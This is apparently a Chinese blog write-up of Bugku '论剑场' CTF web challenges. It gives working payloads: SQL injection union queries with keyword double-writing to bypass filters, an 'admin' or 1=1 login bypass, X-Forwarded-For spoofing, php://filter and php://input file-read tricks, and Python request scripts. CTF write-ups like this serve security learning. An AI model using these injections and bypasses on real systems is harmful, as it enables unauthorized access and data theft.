CTF_论剑场 write wp(持续更新)

WEB Write Up

WEB 1

你想输入的替代文字
题目如上,看到了extract函数,让我想到了bugku的变量覆盖题目

构造payload
http://123.206.31.85:10001/?a=&b=

得到flag

WEB 9

你想输入的替代文字
打开页面看到 put me a message bugku then you can get the flag

联想到put传输

上脚本

1
2
3
4
5
6
7
8
9
10
import requests
import base64
url='http://123.206.31.85:3031/'
s=requests.session()
data='bugku'
putmess=s.put(url,data) # put方式传输字符串bugku
rep=putmess.content.decode('utf-8')
print(rep) #得到base64字符串
result=base64.b64decode(rep) #base64解码
print(result)

先用put方式传输字符串‘bugku’,返回响应页面,得到base64加密的flag。
然后解码得到flag

流量分析

你想输入的替代文字

下载 流量分析.rar 后用Wireshark打开
过滤tcp
你想输入的替代文字
右键追踪tcp流得到flag

你想输入的替代文字

WEB 2

你想输入的替代文字
联想到bugku老司机题目 直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re
url="http://123.206.31.85:10002/"
s=requests.Session()
go=s.get(url)
r=go.text
restr=re.compile(r'[0-9+]+[*]+[0-9+]+[+]+[0-9+]+[*]+\(+[0-9+]+\)')
fin=restr.findall(r)
print(fin)
result=eval(fin[0])
print(result)
data={'result':result}
req=s.post(url,data)
print(req.content.decode('utf-8'))

跑出flag

WEB 5

看到题目提示是 injection
你想输入的替代文字点击flag
你想输入的替代文字
查看url:http://47.95.208.167:10005/?mod=read&id=1

order by 猜解列数

1
2
3
4
5
id=1 order by 1
id=1 order by 2
id=1 order by 3
id=1 order by 4
id=1 order by 5

一直猜到5,报错了

你想输入的替代文字
构造payload
http://47.95.208.167:10005/?mod=read&id=-1 union select 1,2,3,4; 得知字段在第三列显示

http://47.95.208.167:10005/?mod=read&id=-1 union select 1,2,database(),4; 得到库名为web5

id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema='web5' 得到表名为flag

id=-1 union select 1,2,column_name,4 from information_schema.columns where table_name='flag' 得到字段名为flag

http://47.95.208.167:10005/?mod=read&id=-1 union select 1,2,flag,4 from flag 得到flag值

WEB 6

你想输入的替代文字
查看页面源代码,在5023行发现类似base64的字符串
你想输入的替代文字
解码后得到 test123
猜测

1
2
3
Username:admin

Password:test123

尝试登陆,提示
IP禁止访问,请联系本地管理员登陆,IP已被记录.
加请求头 X-Forwarded-For:127.0.0.1
你想输入的替代文字

重新登陆得到flag

WEB 11

整个页面只有一行 We han't anything!
看到标题为robots
访问url/robots.txt页面出现如下
你想输入的替代文字

继续访问url/shell.php 出现如下界面
你想输入的替代文字
上脚本

1
2
3
4
5
6
7
8
9
10
11
12
import  hashlib
def makemd5(s): #定义一个函数包含参数s
return hashlib.md5(s.encode('utf-8')).hexdigest()
'''hash.digest()
返回摘要,作为二进制数据字符串值

hash.hexdigest()
返回摘要,作为十六进制数据字符串值 '''

for x in range(1,99999990):
if(makemd5(str(x)))[0:6]=='5e84db':
print(x)

得到答案为 91805
提交答案得到flag
注:加密值每次都会刷新

WEB 13

你想输入的替代文字

看到这样一个界面,查看源代码没发现什么,尝试注入等操作也都无效。

开启burpsuite抓包

看到响应包里有个password和hint
你想输入的替代文字

提示是要把password解码然后传参,need to be faster提示速度要快

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import base64

url='http://123.206.31.85:10013'
s=requests.session()
go=s.post(url)

password=go.headers['password']
password=base64.b64decode(password)
password=str(password)[7:-2]

data={'password':password}
gotwo=s.post(url,data)
print(gotwo.content.decode('utf-8'))

运行脚本跑出flag

日志审计

下载log文件后搜索关键词flag,出现连续的url编码,最显眼的是sqlmap这个词语,因为题目让找出黑客攻击痕迹。

你想输入的替代文字

将一连串字符转码,发现可疑字符。

你想输入的替代文字

把可疑字符提取出来进行Ascii编码转换
你想输入的替代文字

得到flag

WEB 18

看到题目是道Sql injection

点List 猜测URL存在注入
http://123.206.31.85:10018/list.php?id=1

你想输入的替代文字

1’ 没有回显 1’ –+有回显

经过测试过滤了 and union select or

1
2
3
4
5
构造payload

id=1'+anandd+1=1 --+ //正常界面

id=1'+anandd+1=2 --+ //报错
1
2
3
http://123.206.31.85:10018/list.php?id=1' oorrder by 3 --+

通过order双写绕过猜出了列数为3
1
2
3
123.206.31.85:10018/list.php?id=-1' uniunionon seselectlect 1,2,3 --+

爆出2,3列的显示位置

你想输入的替代文字

http://123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(table_name,';',database()),3 from infoorrmation_schema.tables where table_schema=database() --+

注意:information中or要双写绕过

爆出了表名和库名

你想输入的替代文字

123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='flag' --+

爆出了列名

123.206.31.85:10018/list.php?id=0' ununionion seselectlect 1,group_concat(column_name),3 from flag --+

flag表中取出flag列的内容

得到flag

WBE 20

你想输入的替代文字

上脚本,要多跑几遍才能跑出flag

1
2
3
4
5
6
7
8
9
10
11
12
import re
import requests

for x in range(10):
url='http://123.206.31.85:10020/'
s=requests.session()
go=s.get(url)
rekey="[0-9a-z]+"
key=re.findall(rekey,go.content.decode('utf-8'))
urltwo=url+'?key='+key[0]
gotwo=s.get(urltwo)
print(gotwo.content.decode('utf-8'))

WEB 25

burpsuite抓包看了一波没发现什么,快下课了,下午再做。。。

用御剑扫出了shell.php,先留着。

你想输入的替代文字

你想输入的替代文字

把URL中这个2去掉
你想输入的替代文字

你想输入的替代文字

真正的登录界面是shell.php

你想输入的替代文字

登录得到flag

有点迷。。。。。。

WEB 3

长了个文件上传漏洞的题目的样子,却干着文件包含漏洞的事情。

payload:http://123.206.31.85:10003/?op=php://filter/read=convert.base64-encode/resource=flag

得到base64加密的flag,解密提交。

php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;

WEB 4

你想输入的替代文字

万能密码绕过
payload:admin' or 1=1 #

你想输入的替代文字

WEB 15

提示vim,想起vim编辑器的备份文件.swp

搜索
你想输入的替代文字

然后在URL中把1ndex改成index,得到flag。

WEB 14

听说备份了不少东西呢

githack跑泄露直接得到flag.php

里面有flag

WEB 21

你想输入的替代文字

查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
you are not admin !  
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->

看到file_get_contents函数

file_get_contents读取文件内容

构造出file_get_contents("php://input", "r")

payload:user=php://input&file=

持续更新中…….